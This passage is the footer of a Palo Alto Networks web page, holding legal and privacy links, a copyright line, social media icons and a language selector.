logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy?ts=markdown) * [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center?ts=markdown) * [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use?ts=markdown) * [Documents](https://www.paloaltonetworks.com/legal?ts=markdown) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector?ts=markdown) * [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * EN Select your language